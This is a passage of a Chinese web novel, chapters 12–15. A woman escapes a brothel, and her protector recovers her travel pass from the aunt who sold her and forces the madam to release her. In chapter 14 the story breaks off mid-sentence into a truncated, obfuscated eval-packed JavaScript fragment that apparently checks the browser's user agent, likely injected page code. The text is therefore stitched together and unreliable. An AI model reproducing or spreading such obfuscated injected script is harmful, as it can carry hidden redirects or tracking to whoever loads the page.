只见近处桌角上的那身干净衣裳仍在,她放在桌边的十枚铜钱也一枚不少。 更远些的位置,床铺上的衾被整整齐齐的叠放着,折痕都跟睡前别无二致。 一通打量下来,好似整间屋子除却灯油燃尽了,其余一切都与睡前毫无差别。 现在是什么时辰了? 目光从油灯上挪开后,秦杏瞥向窗外。 天似乎是亮了,不过照进房间里的光并不是很充足。 秦杏看了几眼,第一感觉是,今日又是个阴雨天。 不过到底隔着窗纸,太朦胧了,也有可能只是时辰太早天色还没大亮的缘故。 想到雨,秦杏又想起了昨日。 她用刚恢复些知觉的手指碰了碰身上的衣裳,发现已经干燥了。 这会儿是干了,但联系身体各处传来的不适,显然用身体烘干湿衣的过程中,她已不幸染上了风寒。 舔了舔有些干涩起皮的嘴唇,秦杏试着吞咽了一口唾沫。 好么,喉咙也是痛的。 稍缓了缓,秦杏撑着桌子站了起来。 她不知道阎非是昨夜没有歇在床上还是后来压根没进过这间屋子。 总之现在人不在,是个离开的好时机。 走了两步就到了房门前,她把手搭在门上,正要用力拉开的一瞬间,却听房门被‘笃笃笃’地敲响。 突如起来的动静将她惊了一跳,很快下意识皱起了眉头。 肯定是阎非。 尽管她不想见到,但也没办法阻止人家进自己定的客栈。 正要拉开门,门外的人倒是出声了。 “客官,时辰不早了,小的将朝食给您送进来?” 是一道完全陌生的男声,想了想,秦杏意识到应该是客栈里的伙计。 阎非定的这间房很宽敞,或许是客栈里的上房。 这样一来,伙计把每顿的吃食送进房来也不稀奇。 从前秦杏跟着李全在外住过一晚客栈,当时两人住的是稍房,房间又窄又小,几乎只有这间房一小半大。 好处是住一晚上并不贵,且好歹是间单独的屋子。 缺点是不包饭食,想喝壶热水都要另外掏钱。 当时秦杏并不觉得那间稍房差,但此刻将两处放到一块对比,有几分昏沉的脑袋里,突然冒出了几分不合时宜的感慨。 外头的小二又问了一遍是否需要将朝食送上来。 秦杏下意识摸了摸空空如也的肚子。 昨日她不到吃夕食的时间就发现了秦三娘和老鸨的阴谋,担惊受怕地躲藏了起来。 今日时辰应当也不早了。 不过显然,她此刻不能出声回复。 昨夜她是偷着进到客栈里来的,按道理,这间屋子里住着的只有阎非一人。 她默不作声站在门后,只等着小二离开。 却说外头的小二以询问吃不吃朝食作为借口,没听得到里头的人回话,扭头觑了觑外头的天色,又看了看楼下打着算盘的掌柜,不得不硬着头皮、捏着嗓子细声问出真正的目的来。 “——客官,您若是没歇好,那朝食我们便不送上来打搅您了。”住在上房的都是贵客,生怕惹得人不快,小二隔着门都点头哈腰的。 “只是……请您给个口信,今日是继续住店呐,还是午时退房?” 等了等,里头仍然没有人回话。 小二奇怪地将耳朵贴在门上,一点动静都没听到。 想了想,他试探着叫了声:“客官?” 小二的声音变大了些,透过窗纸,秦杏看到了他凑在门上往内窥探的动作。 秦杏就在门边上,心都吓得要跳出来了。 倒退怕出动静,不动又怕被他看到,只能缓缓往下蹲了下去。 她已经明白了,原来送朝食是个由头,这小二主要是来问今日还住不住店的。 听那架势,势必是要问出个结果的。 如果里面再不回话,说不定他还得推门进来看看。 人的念头向来转变得很快。 几息前,秦杏还因阎非不在屋里感到轻松,此时却又如热锅上的蚂蚁般急得团团转,只想知道他究竟去哪里了。 房门又被急促地敲响了两下,小二心里已经觉得十分奇怪了。 里头未闻鼾声,也没有多余动静。 是人一早走了还是有什么身体不适? 怕出意外,小二告罪一声,抬手将门推开。 不要进来、不要进来、不要进来…… 秦杏在心中祈求了数十遍,那张门还是吱呀一声推开了。 房间虽大,却没什么地方可躲藏的。 门开的刹那,她几乎是灵机一动,闪身躲到了门后。 这是最好的躲藏点,但缺点也很明显,只要小二看到她的脚,她就暴露了。 秦杏半憋气,双目紧闭贴门站直着。 心中默数一、二、三…… 数到七时,小二终于在门外把这间房看过了一遍。 桌上衣裳还在,床头包袱没拿走,只是没见着人。 见此,小二也不纠结了。 反正昨日的住店钱已经付过,要是到了午时这间房的客人还未归来,他们把屋子里的东西收捡起来就是,总能等到人来拿。 吱呀一声,小二又给房门带上了。 听闻脚步声远去,一动不动躲藏着的秦杏才擦了把冷汗,虚脱地瘫坐在了地上。 太惊险了。 比之昨日有过之而无不及。 好歹昨日在宜春楼,只是躲避逼迫,大不了宁死不从,到了黄泉底下她都是占理的。 今日这一遭实在是心虚,弄不好会叫人扭送到官府,着实让人遭不住。 经了这一吓,秦杏有些不敢独自下楼了。 若是掌柜或者伙计看见她脸生,将她拦住询问,秦杏简直不敢想自己要如何作答。 想了想,她从地上爬起来把门拴住。 刚才小二就在门外,怕发出动静,她不敢冒险栓门。 也还好没把门锁住,要是锁上门小二推不开,又没听到里面传来声音,还不知要生出什么事端来。 刚才小二看过了,短时间内应该不会再来。 锁上门,她快速打开房里的窗,查看外面是什么天色。 她醒来看向窗外的第一眼确实没有猜错,今日是个阴天。 阴天总是难以单单通过天色辨别时辰的。 探出头发现看不见太阳后,秦杏利落地把脑袋缩进来大半,观察起楼下的情况来。 这家客栈开在闹市,打开窗后各种吆喝声能听得格外清楚。 不过她待的这间房正对后院,窗户下边就是马厩,外边街上的情景根本看不大到。 她仔细看过后院里现在无人走动,搬了条凳子垫高了,牢牢扶住窗框探出半个身子来去看外头那条街。 离得近的,是一家米行和布行,生意似乎不错,她瞧去时正有人出入。 只略略看了眼,她便转开看向别处。 视线到处梭巡,终于找到了一个夹在几家铺子中间的小小饭馆。 门脸很小,又夹杂在几家铺子中间,还是看到那里一直有阵阵白色雾气往上蒸腾,秦杏才把眼神落过去。 她仔细看了看,又使劲嗅了嗅空中有没有饭菜香味儿。 很快面色变得忧愁。 怪不得小二要上楼来问今日还住不住店,眼下最少巳时末了。 也不知这家客栈最迟能待到午时几刻。 愤恨地看了眼桌上那套昨夜谁也没穿的衣裳,她无力地揉了揉愈加昏沉的脑袋,一口气没叹完,又听门外响起了敲门声。 心刚要提起来,就听外面的人说了句:“是我。” 昨夜好歹听他说过几句话,秦杏还记得音色。 这会儿她半点不情愿都没有了,一个箭步就上去开了门。 昨夜在屋外待了一宿是为了避嫌,现在可顾不了这么多了。 门一开,阎非就闪身入内。 “你不在,伙计刚刚来问你今日还要不要住店,若不住,午时便要离开。” 人总算回来了,秦杏半点儿也不愿这么心虚地待下去,忍着喉咙痛一口气传达完这话就看着他,只等他回句什么,自己再提离开。 “我知道,今晨出去得太早,没来得及说。刚才上楼前我已经又交了一日的房费。” 说道此处,阎非又用愧疚的目光看着秦杏。 “小二说他上楼敲门无人应,就自己推开门看了看。” “受惊了吧?是我考虑不周了。” 秦杏从鼻腔中发出一声冷哼,因为喉咙痛和昨夜被他收留两重原因,嘴上到底没多说什么,只是冷淡淡垂下眼睑,用告知般的语气平淡说道:“我要离开了。” 阎非身体微微一侧,追问:“去哪里?” 秦杏半点也不想透露,只当没听见他这句追问,越过他就要往门口走。 察觉到秦杏态度强硬,阎非只好把苦寻一上午的成果说出来挽留住她的脚步。 “——我找到了秦三娘。” 他目光定定地看着秦杏的背影,毫不意外地看着她停步,回首。 她微微皱起的眉,眼神中的错愕和震惊,这些情绪,都在阎非的意料之中。 这下他终于有机会放下手里的两包东西,出声请她坐下了。 “过来吃些东西吧。” 秦杏想了一息,想了两息,又想了三息,看阎非的目光逐渐变得复杂和警惕。 “你怎么会知道有秦三娘这么个人?” 其实昨夜他出现在宜春楼就极为奇怪,只 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肚子已经唱了很久的空城计,被食物香味一勾,引得这具染了风寒,多处不适的身体眼前一阵阵发黑,虚汗直冒。 不想在厌恶的人面前丢份,她赶在站立不住前撑着桌子坐下了。 像是为了证明没有毒,在她坐下后,阎非拿起一个炊饼,大口地吃了起来。 白花花,又膨松又个大的炊饼,哪怕是素馅的,也至少要两文钱一个。 叫现在的秦杏自个儿去买,她铁定是舍不得的。 不过再不吃些东西,她肯定连一丝质问人的力气都没有了。虚弱关头,秦杏没有吝啬。 她终是伸手,拿起了一个。 但同时,另一只手又添了两枚铜钱放到了桌上。 这炊饼皮薄馅多,咬下的第一口,就有面有菜。 吃完一整个炊饼,腹部好受了很多,就是吃到后头有些干。 与很久不曾进食一样,她也很久没喝水了。 抿了抿干涩的嘴唇,耳边一声轻响,有东西搁置在了她手边。 是一杯水。 这间房的桌上摆着有水壶和茶杯,不过秦杏自从进屋后一直没动。 把水杯放下后,阎非就不动声色继续对着炊饼下口了。 桌上现在摆了两杯水,自己手边一杯,他手边一杯。 喝光自己手边那杯水润了润干涩的喉咙,秦杏开声质问:“你为什么会认识秦三娘。” 这回阎非没有当做耳旁风,但他想了想该从何说起。 如果一切实话实话,以秦杏的脾性未必会相信,他便修饰了一番才开口。 “上个月我听闻了李全离世,于是……我从军营告了假,来郸州祭拜他。” “前天我抵达郸州,昨日在李家沟听闻你下落不明,便四处打听你的音讯。” 后面的内容,阎非说得一五一十。 秦杏一错不错地盯着他,心中说不出的五味杂陈。 最后死鸭子嘴硬般梗着脖子道:“我都从宜春楼出来了,还去见秦三娘做什么。” 情绪大过于理性,秦杏心头的想法是,她不需要一个怨恨了三年的人去帮自己出头。 阎非顷刻便感知到了她的情绪,同时猜到她还没来得及想到深层面的东西。 他平和地回答并提醒:“去拿回你的路引。” 用脚趾头想也知道,秦杏的路引并不在身上。 不然昨夜他提醒当心遇到更夫,她眼神不会那么慌乱,更不会后来乖乖跟他走。 这么重要的身份凭证,不在她自己身上,那就是被秦三娘扣押了,或者从宜春楼跑路时没来得及带走。 住客栈、出入城门、租宅子、甚至寻一份长久些的活儿干,皆需路引。找不到这一纸凭证,在城里寸步难行。 拿回路引只是找秦三娘的其中一条原因。 另一条原因是,带上秦三娘去宜春楼做个了断。 昨夜她只是人从宜春楼逃出来了,若那楼里的老鸨心思险恶,说不准会不会想办法恶人先告状,去报官诬赖秦杏。 想到这里,他亲口跟秦杏确认:“你入宜春楼时,有没有签过契书?” 秦杏果断地摇摇头。 “从来没有。” 这倒真是要感谢秦三娘狮子大开口,要了一个让老鸨不情愿给出的价。 否则她可能进宜春楼当天就被迫签下身契了。 阎非也放了心。 只要没有白纸黑字的契约压着,其他事情都不难办。 八个炊饼,阎非吃了六个,剩下一个以吃不完就扔了的威胁,强塞给了秦杏。 看着她一点点咽下最后一口馒头,阎非又给她倒了一杯新找小二要的热水。 “你身上的衣裳应当是宜春楼的?这里有一身干净衣裳,去找秦三娘之前,你先把身上的换下来。” 换上衣服的那一刻,秦杏隐约感觉到了一些不对。 倒不是衣裳有什么不妥。 她只是突然意识到,怎么短短半天,她就变得对阎非没那么抗拒了? 13. 第13章 去见秦三娘的路上,秦杏生出了一点疑惑。 这人昨日打听了那么多,可实际上并没有见过秦三娘,他究竟是怎么找到人的? 不会……找错了吧? 像是察觉到了她的怀疑,前头带路的阎非解释了自己一早的行程。 “昨夜你据掉了一扇窗,宜春楼的人只要不眼瞎,今日一定能发现你出逃了。” 他昨日已经打听到秦三娘和其丈夫常做拉皮条的勾当,以此猜测秦三娘跟宜春楼做这种交易不是第一回了。 “你不见了,还毁了一扇窗,老鸨必然大怒,一定会找秦三娘这个中间人索要赔偿。” 阎非赌老鸨知道秦三娘的落脚点。 宜春楼向来是白日里不开大门的,他一早就去了后门守株待兔。 辰时末,果然老鸨派了两人出宜春楼去寻秦三娘。 他一路尾随,发现秦三娘后,潜进屋把三人打晕绑起来了。 竟然是这么回事。 秦杏提起裙角,步伐愈发加快了一些。 她跟在阎非身后七拐八拐,最终停在了一处民居门前。 “是这里?!不是客栈?”她一脸讶异。 “不是。” 阎非听她夫家的邻居说过,他们两夫妻有时十天半月都不会回乡,可见在城中有长期的落脚处。 联合秦三娘和其丈夫近些年赚黑心钱的行为,就算说这宅子被他们买下来了,阎非也不会觉得稀奇。 郸州城里的百姓,日子过得比渠县、乡下的百姓好了不知多少。 午时三刻是他们到达秦三娘宅子门前的时辰。 他们这栋宅子选址不赖,周围多是些有些小钱的人家,这个时辰,巷子里满是饭菜香气,不似贫苦百姓一般,一日只吃两顿。 亏得如此,巷子里走动的大人不多,他们一路只遇到了几个顽皮的孩子。 四下无人时,阎非翻墙进了院子,把之前离开时反锁的院门从里打开。 “两个宜春楼的龟公关在偏房,秦三娘在主屋被我单独关着。” 担心她丈夫突然回来,或有邻里突然串门,他离开时特意把门反锁了。 两人顺畅穿过小院,由阎非引路到了主屋。 房间地上,听到推门声,好不容易把剪刀勾到手里的秦三娘脸色煞白一片,慌忙把剪子丢到地上,一脚踢到墙角里。 阎非先一步走进来,看到他,秦三娘被破布堵住的嘴里发出呜呜咽咽的声音,配合肢体动作,似乎是在求饶。 她懵得很,本来今日想去宜春楼找麻烦——昨日宜春楼里死活找不到秦杏,她都怀疑老鸨是想黑吃黑了。 回家打定了主意今日要去要个结果,怎么着也得活要见人死要见尸吧? 结果她还没去,丁香那个死蹄子倒是先派人来找她的麻烦了。 说是秦杏把杂物间的窗户锯开,昨夜跳窗逃了出去。 这么离谱的谎话也编得出口,真当她是死人脾气!她当即就要抄上家伙叫几个人上宜春楼理论理论,没想到走到门口突然被人从后打晕了! 她平素干这见不得光的勾当,心里不是不虚。 刚刚醒来这段时间,她把这些年倒手的‘货物’想了个遍,一时竟然想出了七八个恨她入骨,能做出报复之事的人。 既然没来得及剪断绳索,她立刻做出识时务的决定,摆出了求饶姿态来。 “放……放、过、我吧。” 嘴被堵住了,她通过喉咙发出一道道粗哑、模糊不清的气声。 阎非脚步一顿,朝身后的秦杏接连打了两个手势。 一个是让她止步,另一个是安抚,让她稍安勿躁。 秦杏琢磨了几下懂了他的意思,稍稍犹豫,听从了他的安排定在门外。 屋中,听到秦杏止步,阎非背着手踱步到了秦三娘面前。 他什么也不说,闲适地绕着秦三娘走了一圈。 秦三娘惊恐地瞪着眼,完全猜不透他要做什么。 巨大恐慌驱使下,她求饶得更加卖力了,眼泪鼻涕都流了下来。 差不多是时候了。 心里这么思忖着,阎非将堵她嘴的布团取出,蹲下在她面前。 “猜猜看,谁让我来的。” 他的声音并不难听,长相也不难看,可秦三娘听他开口像见到了罗刹一般,一副如丧考妣的模样。 “您大人有大量,您就放了我吧……” 阎非眼神一寒,抬手作势要用布团重新堵住她的嘴。 秦三娘连连向后躲。 “我猜!我猜!!呜呜……” 猜又猜不着,不猜又没好果子吃,秦三娘无路可走,嗫嚅着报出了个名儿。 蚊子嗡嗡两声都比她声儿大,阎非不耐道:“听不见。” 秦三娘眼一闭,心一横,“你是替渠县林叶来的?” 阎非神色未变。 秦三娘又猜,“不然是城北张家小媳妇托的你?” “……陈家湾的陈云霞?” 一个个名字从秦三娘嘴中吐出,门外听着的秦杏心口一阵阵发慌。 这秦三娘,竟然做了如此多恶事! 这一个个名字,都是她坑害过的,活生生的人啊! 屋中,秦三娘吐出了肠肚子里能猜测到的最后一个人名。 懒得再给她什么眼神,阎非站直对着门外道:“进来吧。” 看清秦杏的刹那,秦三娘先是不可思议,然后浑身一震。 “你、你、你!” 她对秦杏的底细再清楚不过了。 丈夫、父母皆亡,兄嫂不愿接济,这样一个女人,哪儿来的人替她撑腰?! 两人自是不会现在跟她答疑解惑。 阎非直入正题,“她的路引在哪里?” 秦三娘脸皮一阵阵抽搐,生出了一种被戏弄之感。 不过人为刀俎她为鱼肉,终是闭了闭眼交代了藏处。 “在我床底下的暗格中。” 和阎非对视一眼,秦杏快步跑去翻找。 找到那个暗格,却见里面是个小箱,箱上挂了锁。 “钥匙呢?” 两人双双将视线落了过来。 被两人盯着,趴伏在地上的秦三娘突然间不那么紧张了。 她眼珠子转了转,自个儿爬起来盘腿坐好,“你们放了我,我就把钥匙拿出来。” 眼前只有两人,秦杏连自己都撕打不过,显然不足为惧。 这男子倒长着一身腱子肉,但脸皮生得太年轻了,且瞧着一身正气。 秦三娘比不得宜春楼老鸨,不过也算阅人无数。 盯着阎非看久了,她心头几乎已经安定了下来,料定他不敢对自己怎么样。 阎非不知秦三娘哪来的底气讨价还价,开一把锁而已,真当自己需要求她? 迎着秦三娘不敢置信的目光,阎非直接一步上前堵塞住了她的嘴。 随后只见他三步并作两步走到床边,从怀中取出一个匕首。手起刀落后,锁头碎裂,掉到了地上。 箱子不大,东西不少。 银锭、银票、华贵的首饰样样皆有,一张普普通通的路引放在其间实在不起眼,阎非伸手进去翻找起来。 秦三娘踉跄着爬到近前,眼睁睁地看着这一幕。 里头的财宝每被翻动一次,她的神色就更心碎一分。 找路引一事,秦杏虽然心急,却因为不识字,根本插不上手。 阎非在翻找着,秦杏就在旁边留意着秦三娘的一举一动。 看见她眼神半点不离财宝,视财如命的样子,秦杏简直是怒火中烧。 一个个清清白白,懵懵懂懂的无辜女子被她和她丈夫换来了这一堆不义之财,如今都被人绑住了,她竟然毫不悔改。 “好好收着。”路引递到面前,暂缓了秦杏的怒火。 阎非道:“走吧,去下个地方。” 下一个地方是哪里,秦三娘猜不到,也没有多余的力气猜。 多年的积蓄就那么被人夺走了,简直在剜她的肉,让她痛不欲生!气血倒流之下,好好一双眼睛生生气得双目充血。 拽着绳索将秦三娘从地上扭拽起来,来到院子里,阎非把箱子让秦杏拿着,又叫她看着秦三娘,便入了偏房。 不一会儿,他独自从房里走了出来,至门边时,刚好还刀入鞘。 “你去干嘛了?” ……不会去杀人了吧? 秦杏甚至踮起脚往屋内望了望。 阎非唇角幅度很小地往上弯了点,不过又很快正色道:“我把他们身上绳索割破了一点,方便等会他们自己挣开。” 一路通往宜春楼,路程并不算近。 出院门前阎非将秦三娘松绑了,那一箱子金银财宝重回了阎非手上。 “出去后老老实实跟着我们。” 他轻轻往上抛了抛,银子首饰都碰撞箱壁发出磕碰声。 这着实是捏准了秦三娘的软肋,秦三娘眼神死死黏在箱上,忙不迭地保证:“我不跑,我一定不跑!” …… 今日,宜春楼里从上到下,人心浮动。 一切皆要从辰时,两个休假归家的杂役说起。 昨夜好好干了一天差事,终于迎来休息的杜鹃和青梨,一早便结伴准备双双归家。 跟守门的龟公核对了假条,她们顺顺利利从后门走出巷子。 “青梨,我的好青梨。你真的要直接回家吗?好不容易能从楼里出来一天,你就随我去街上逛一逛、逛一逛、逛、一、逛、嘛!” 名唤青梨的女孩儿只觉得头疼无比。 昨日杜鹃就喊她今日一块儿出去玩,她已经拒绝过一次了,现在杜鹃又提起来……她不是不想去,是家里真的有很多活儿要干,她爹还等着她把月钱带回去抓药呢! 可杜鹃待她一向很好,让她一而再的拒绝,青梨也做不到。 被磨得受不了了,青梨咬咬牙决定同意杜鹃的要求,不过时间要改换到下晌。 好不容易打定主意要开口了,杜鹃突然惊奇地‘诶’了一声,指着一处停住了步子。 “你瞧,那是什么?!” 青梨顺着看去,只见到十步开外,有些黑色的东西洒落在路中间。 对视一眼后,两人相携上前查看。 “这是……碎瓦?” 两人不约而同往上抬头,一下便瞧见了杂物间空洞洞的窗口。 “咱们楼里是遭贼了吗?” 都是在楼里做事的,真遭了贼还不知是一场怎样的风雨。 两人对视一眼,沿着后门返回了楼里,这个消息一层层传到了老鸨耳中。 很快,杂役们、账房们,姑娘们一一醒来,各自检索有没有失踪财物 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秦三娘皮笑肉不笑地撞开发愣的龟公,“快去跟你们老鸨禀报吧,我来了。” 门边上不止一个人值守,早有机灵的飞快跑去报信了。她们走到前堂,秦三娘常与老鸨丁香会面的那间小屋房门正大开着。 秦三娘直至此刻都没想明白秦杏这丫头是从哪儿找到的人把她救出去的。 冥思苦想没有结果,就把一切归结到了宜春楼身上。 她想着,最好宜春楼的那些个龟公能撂倒身后这个活阎王,不然,她定要将宜春楼连个人都关不住的丑事,宣扬得行内皆知。 进门时,她态度冷淡许多,全然不似之前使出浑身解数去伏低做小的姿态。 老鸨是个人精。 听人禀报说秦三娘带着秦杏回来了的时候,憋了一上午的气好不容易顺平了,这会儿看到秦三娘怪异的态度,马上意识到了不同寻常。 她眯了眯眼,下意识向身旁使了个多安排些人手过来候着的眼神,却发现春红根本不在。 罢了,总归是在自己地盘上,出不了什么大差错。 丁香稳住心神,喉间发出一声冷笑,先发制人道:“秦三娘,你把人带出去又送回来,当我宜春楼是什么地方?” 明明是你们没把人看好!秦三娘在心里埋怨。 方才进这宜春楼前,那个死鬼煞星把她箱子里的银票全取出来了! 他威胁,如果自己不听话就将这些银票全部毁了。 要知道,那里头现银和首饰并不多,银票才占大头啊。 受制于人,秦三娘违心道:“我来是为了说清楚,秦杏的去处我另有安排。昨日谈的事,反正没有立契,就此算了吧。” 竟然是不做交易了?!丁香稀罕地笑了一声,像头一次认识秦三娘一样,将她从头打尾打量了一遍。 秦三娘改换了贪财的性子? 不对,这绝无可能。 正所谓事出反常必有古怪。 丁香一时没有回话,眯着眼,正儿八经打量起面前几人来。 秦杏这丫头弱不禁风,与平日在楼里没什么不同,秦三娘脸色倒是差得很,满眼通红。 等等,什么时候她们身后多出一人来了?! 丁香神色一凛,将腰直起,如电的双眼直直射向秦三娘和秦杏身后。 是他! 昨夜才见过。 许多事情电光火石之间,丁香全部想通了。 止不住地抽了一口冷气后,她厉声朝外高喝:“来人!” 阎非神色从容,重新把手里的木箱又交给了秦杏拿着,自己往前一步与丁香对峙。 “十日前秦杏经秦三娘介绍来这里做活,宜春楼只是把她留下做了杂役,她并不曾签订任何书契。如今中间人尽在,要将她带走并讨回她遗留在楼里的东西,你以什么理由阻拦?” 七八名龟公顷刻间已将阎非三人团团围住,此刻听到阎非的质问,上首的丁香不怒反笑。 卖身契!说来说去不就缺了这一纸凭证吗? 这会儿签字画押,想来也不晚。 她冷笑连连,起身取出昨日就拟好了的契约,一掌拍在桌上。 “都听着,立刻把这个不知天高地厚的男人给我制住!捉着秦杏的指头上前来画押。” 楼里哪年哪月不做些见不得人的勾当?留在这的龟公已经听到什么指令都不觉稀奇了。 老鸨一声令下,他们就动了,也不讲究什么招式,七八个人举起刀棍就冲着阎非扑上去。 阎非面色不变,快速闪身迎了上去。 只见他先是劈手夺掉其中一人的棍子,又一脚将另一人踹出两三步远。 身边立时出现了一个空当。 这时,他一个回身,将吓得抱头的秦杏一把从刚刚打出来的空缺里推了出去。 那是一处门与墙的夹角,秦杏过去后起码后背和侧面都受不到攻击了。 周围有一个龟公离得近,见状立刻改变方向意图擒住秦杏。 阎非当然不会给他们这种机会。 他举起长棍挥得虎虎生风,几棒子打退了那人,立马一个箭步上前占据了他的站位,像一道坚不可摧的城墙一样,牢牢挡在了秦杏前头。 14. 第14章 宜春楼豢养的这些龟公,个个人高马大,平日里使唤起来无往不利。但今日把刀棍舞到阎非面前,浑然像一身腱子肉白长了似的。 半柱香时间不到,七八个龟公全部挂了彩,阎非还完完整整立在那儿,被他好好护着的秦杏,更是一根毫毛都没掉。 丁香简直咬碎了一口银牙,可惜再气也无用,留在楼里的龟公能来的都来了,剩下那些伙夫、杂役,叫来也只能凑数。 好!好得很。 一日之内,她竟然在秦杏这一个丫头身上栽了两个跟头! 她已经想不起自己有多少年没遇到过这么难啃的骨头了。 指甲狠狠抠在紫檀木方桌桌角上近乎断裂,脑子却不得不冷静下来思考如何收场。 无人在意的另一处角落里,秦三娘将自己保护得好好的。 她旁观了一整场冲突,看着这一边倒的局势,心里啧啧称奇。 相识这么多年了,还以为这丁香往日一副派头挺足的样子有多厉害,结果就养了这么一群废物?! 感情以前将生意做得顺顺当当全凭运道好?这样看来,只要多遇到几个这样的硬茬子,宜春楼就该关门大吉了! 片刻前,秦三娘还寄了一丝希望于宜春楼身上,希望丁香的这些人能将秦杏二人制住。 此时这份念头再也没有了,除了对阎非生出更多畏惧外,她心里只有对丁香养了一群饭桶的鄙夷,以及一丝畅快。 是的,就是畅快! ——叫她丁香早些时候不肯花三百两银子签下秦杏的卖身契,这下好了吧?在她自己地盘上,闹了个人仰马翻! 秦三娘正通过在心头鄙夷、不屑丁香,瞧不起宜春楼而感受到一波波快感。 突然间,正正对上了丁香的视线。 她心头一突,尴尬地把眼中那些鄙薄的情绪收起。 丁香那与紫檀木较劲了好一阵了的指甲终于断裂了,‘嘣’地一声,拇指的长指甲弹飞了出去,霎时间发生的震颤和崩裂,显然将粉色的甲床都伤着了。 不过身上的痛都是小痛,比起今日这份耻辱,压根不值一提。 丁香对着秦三娘露出了一个比平时僵硬两三分,却还称得上柔和的笑,目光盈盈,带着一些示弱看着她。 这仿佛是在传递某种信号,反应了一瞬,秦三娘明白了,这是让她从中说和。 丁香啊丁香,你也有这一日。 秦三娘心头纳罕地啧了一声,不过到底没有拒绝。 她先是伸出手指比了个数,又竖起一根手指放在嘴边做了个噤声的手势。 ——给她一笔钱,她能从中说和,还保证不把今日这事说出去。 三百两? 丁香用淬了毒的目光死死盯着秦三娘刚刚伸出的那三指。 呵。 真是稍稍失势,什么阿猫阿狗都敢跑到她面前来狮子大开口了。 几番吸气,呼气,丁香的目光始终冷冰冰地落在秦三娘那张张狂的脸上。 忽地,她将愤怒全部收起,分外温和地点了点头。 “好。” 竟一丝讨价还价也没有,答应地这般利落? 秦三娘可谓是惊喜极了。 短暂狂喜后,她片刻也不敢耽误,飞快从角落里跑出来。 “好了好了,都别打了!”只见她边跑边把手里的帕子往袖子里一收,径直跑到两方人中间,摆出拉架的架势。 其实也就是做做样子,宜春楼这些龟公都被打得痛了,早已不敢上前,如今只是站在一处安全的区域与阎非遥遥对峙着。 秦三娘十分顺畅地就走到了两拨人中间,她劝了劝左边,又劝了劝右边,最后好好先生一样道:“我看呐,咱们各退一步吧。” “显而易见的,杏丫头是个有福的。既然有人肯豁出命去护着她,咱们也就放他们一马吧。” 这番话,她对着上首的丁香说的。 然后她又转过身对着秦杏和阎非,“宜春楼的人手自然不止这些,不过是老鸨没想着对你们下死手。” “你留在楼里的东西,想拿便拿回去吧,只是今日出了此门,以后……以后再不要来了。”说到后头对上阎非的视线,难免气弱了两分。 终于有了台阶可下,丁香挥挥手,底下龟公们便纷纷退开了。 秦三娘紧跟着催促秦杏:“你有什么要收拾的,快去收拾啊。” “慢着。” 出声阻止的不是旁人,正是阎非。 他越过秦三娘,从角落里走出,直直看着丁香,“离开可以,你给秦杏写一份切结书。” 此言一出,连秦杏都有些茫然。 但于阎非而言,他之所以要带秦杏再来这宜春楼一趟,拿回秦杏遗留的东西都是其次,主要目的其实是为了这份切结书。 这种风流快活之地,于男子是温柔乡,于女子是虎狼窝。 似这类地方,世间女子皆恐与其沾染上一星半点的关系。 他必须要拿到这份切结书。 切结书上详细写明秦杏何日起来到宜春楼做杂役,何日辞工离开,写明秦杏离去时行李受过翻检,没有夹带。 一来,没有良家女子想与秦楼楚馆有所牵扯。秦杏已被坑骗过来干了活,这段经历掩不掉也改不掉,未免以后遭人闲话,怎么样都解释不清,不如让这老鸨在切结书上明写她是来做杂役的。 二来,他今日把老鸨狠狠得罪了,在这楼里时她不敢二话,离开了这里,万一她想办法诬告呢? 最易诬告的罪名便是偷盗。 若是不拿一份切结书在手里,说不定他们前脚转身出这宜春楼的门,后脚这老鸨就派人报官,给他们扣上一个这样的罪名。 “欺人太甚!” 那张原本准备让秦杏签下的卖身契被狠狠揉皱成一团,泄愤般丢掷到地上。 阎非凝视着丁香那张鼻子都快气歪的脸,不慌不忙。 “你宜春楼豢养着龟公十八人充作打手,别说现下有多人不在,就是人手齐全,也奈何不了我半分。” 地上有一把刚刚从龟公手里打落的大刀。 阎非足尖轻点,用了几寸巧劲,那刀就自上弹起落入了他手中。 不是已经‘休战’了吗?突然拿刀为哪般? 这动作令屋中众人,包括秦杏在内都有些心慌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“楼里的衣裳在这儿。” 在客栈,秦杏换上了阎非准备的衣裳,把宜春楼的那套好好换下了,此刻,她把那套衣服好好放在了桌上。 派来盯视的龟公随意瞥了眼,“知道了。” 东西简少,秦杏进屋不过片刻就又走了出来。 与昨日相比完全不同,这一次,她在数十名杂役见证下,堂堂正正踏出了宜春楼。 后巷巷子狭小,只容得两人并肩通过,一年四季整栋楼的潲水和夜香都得从这儿运走,是以空气并不清新。 不过于重活自由的人而言,外头再是不好,总比那腌臜地儿要强。 三人中,秦三娘最后一个从后门走出。 待她两脚都跨过了门槛,“嘭”地一声,那扇老旧的木门猛地从里关上了。 “事都办好了,我、我的宝贝可以还给我了吧?”她讨好地对着二人道。 15. 第15章 木箱在阎非手中轻转一圈,秦三娘的视线便跟着转了一圈,她眼中的期待和迫切毫不掩饰。 “可以给你。” 阎非把藏在怀里的那些银票悉数取了出来,在秦三娘眼前晃了晃。 “但还有笔账没算清。” 秦三娘顿时生出了一种被耍了的感觉,脸色青白交换十分难看,又碍于阎非的武力,唯唯诺诺不敢翻脸。 “什、什么账?” 阎非步步逼近,“你想卖了秦杏的这笔账。” 秦三娘眼皮狂跳,头皮一顿发麻,讪笑道:“方才进楼前不是说好了吗?我帮你们办事——” “我说过不烧毁你的银票。”阎非打断她的话,“可没说过事了立刻把东西还你。” 其实不用打断,后面的话,秦三娘自己都说不出来了。 是,这个活阎王只说不按他说的做,他会把银票撕毁掉,没说过一定把箱子还给自己。 心思转了几转,秦三娘一抹眼角,二话不说地跪下了。 “杏儿啊,婶娘对不住你,婶娘都知道错了。” 她膝行上前抱住秦杏的腿,连声哀求道:“看在婶娘救了你一命的份上,你抬抬手原谅婶娘成不成?” 她哭得极真,又搬出在渭水河时对秦杏的救命之恩。 想到那日凛冽的寒风,冰凉刺骨的河水,秦杏确实有一瞬恍惚。 但不过须臾,她清醒了。 “那日我并没有求着你救我。” “何况,你选择救我,本就是另有所图吧。” 前一日将她从渭水河里救起,隔日便将她送入了宜春楼。 